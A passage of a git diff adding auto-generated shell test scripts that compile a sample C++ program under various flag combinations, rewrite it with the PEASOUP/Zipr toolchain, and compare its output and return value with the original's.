+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2671f55dc017980becd8898c3a5f6f53a230c2f5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..627b7e454b7e971e86756665870b20968a680e56
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7c8c66fe3869f2aefe4810c8598855d3f35b5da3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3b0b01b83310ec9fd8cff43be5e042af4f9c3ed1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..403b894cc8eb633f05063bd81bc861a88806c60c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..780570013d0aa22f2c4911906d06d98732f07c4a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
